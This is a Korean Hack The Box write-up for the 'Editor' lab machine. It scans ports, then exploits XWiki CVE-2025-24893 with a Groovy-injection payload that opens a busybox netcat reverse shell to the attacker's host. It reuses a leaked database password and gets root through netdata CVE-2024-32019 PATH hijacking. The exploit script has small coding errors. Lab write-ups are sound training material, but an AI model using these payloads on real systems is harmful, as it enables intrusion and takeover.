Home HTB - Editor Write-up
Post
Cancel

HTB - Editor Write-up

HTB - Editor 문제 풀이 입니다.

Port Scanning

  • 포트스캐닝 결과 22번(SSH), 80번(WEB), 8080번(WEB)이 오픈되어 있습니다.
1
2
3
4
5
6
7
8
9
nmap -Pn 10.10.11.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-13 20:07 KST
Nmap scan report for 10.10.11.80
Host is up (0.21s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Port Scanning Detail

nmap -sC -sV 옵션으로 자세하게 보녀 아래와 같이 정보를 얻을 수 있습니다.

  • 22 : SSH(OpenSSH 8.9p1)
  • 80 : http://editor.htb
  • 8080 : Jetty 10.0.20, XWiki
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PORT      STATE    SERVICE   VERSION
22/tcp    open     ssh       OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open     http      nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3878/tcp  filtered fotogcad
6901/tcp  filtered jetstream
8080/tcp  open     http      Jetty 10.0.20
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Jetty(10.0.20)
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   Server Type: Jetty(10.0.20)
|_  WebDAV type: Unknown
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
12265/tcp filtered unknown
51103/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

CVE-2025-24893(RCE)

/xwiki/bin/get/Main/SolrSerach 엔드포인트에서 RCE 취약점이 존재하는 것을 확인할 수 있습니다.

  • CVE-2025-24893 : PoC

Result

busybox 를 이용하여 리버스쉘을 연결 후 xwiki 계정에 로그인을 할 수 있습니다.

1
2
3
4
5
6
7
import requests

URL = "http://wiki.editor.htb"
cmd = "busybox nc 10.10.10.172 8888 -e /bin/bash"

PATH = "/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22f{cmd}%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
res = request.get(URL+PATH)

user_flagoliver 계정에 존재하였고, password를 찾아보다가 hiberate.cfg.xml에서 패스워드를 확인할 수 있습니다.
다만 이게 oliver 패스워드 인지는 몰랐네요….

1
<property name="hibernate.connection.password">theEd1t0rTeam99</property>

CVE-2024-32019(LPE)

ss -lntp : 서비스 중인 포트 확인 결과 19999 포트에서 웹 서비스 동작 하는 것을 확인할 수 있습니다.

로컬 포워딩을 통해 해당 웹서비스를 접속할 수 있습니다.

1
ssh -L 8888:127.0.0.1:19999 [oliver@10.10.11.80](mailto:oliver@10.10.11.80)

Result2

아래 문구를 통해 netdata 제품의 취약점을 확인할 수 있으며 CVE-2024-32019 취약점이 존재하는 것을 확인할 수 있습니다.

1 Node is below the recommended Agent version v1.46.0. Please update them to ensure you get the latest security bug fixes.

아래 PoC에서 취약한 바이너리(nvme)를 만들고 아래 명령을 통해 환경 변수 설정 후 바이너리를 실행하면 root 권한을 획득할 수 있습니다.

  • CVE-2024-32019 : PoC
1
2
3
4
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

root@editor:/root# id
uid=0(root) gid=0(root) groups=0(root),999(netdata),1000(oliver)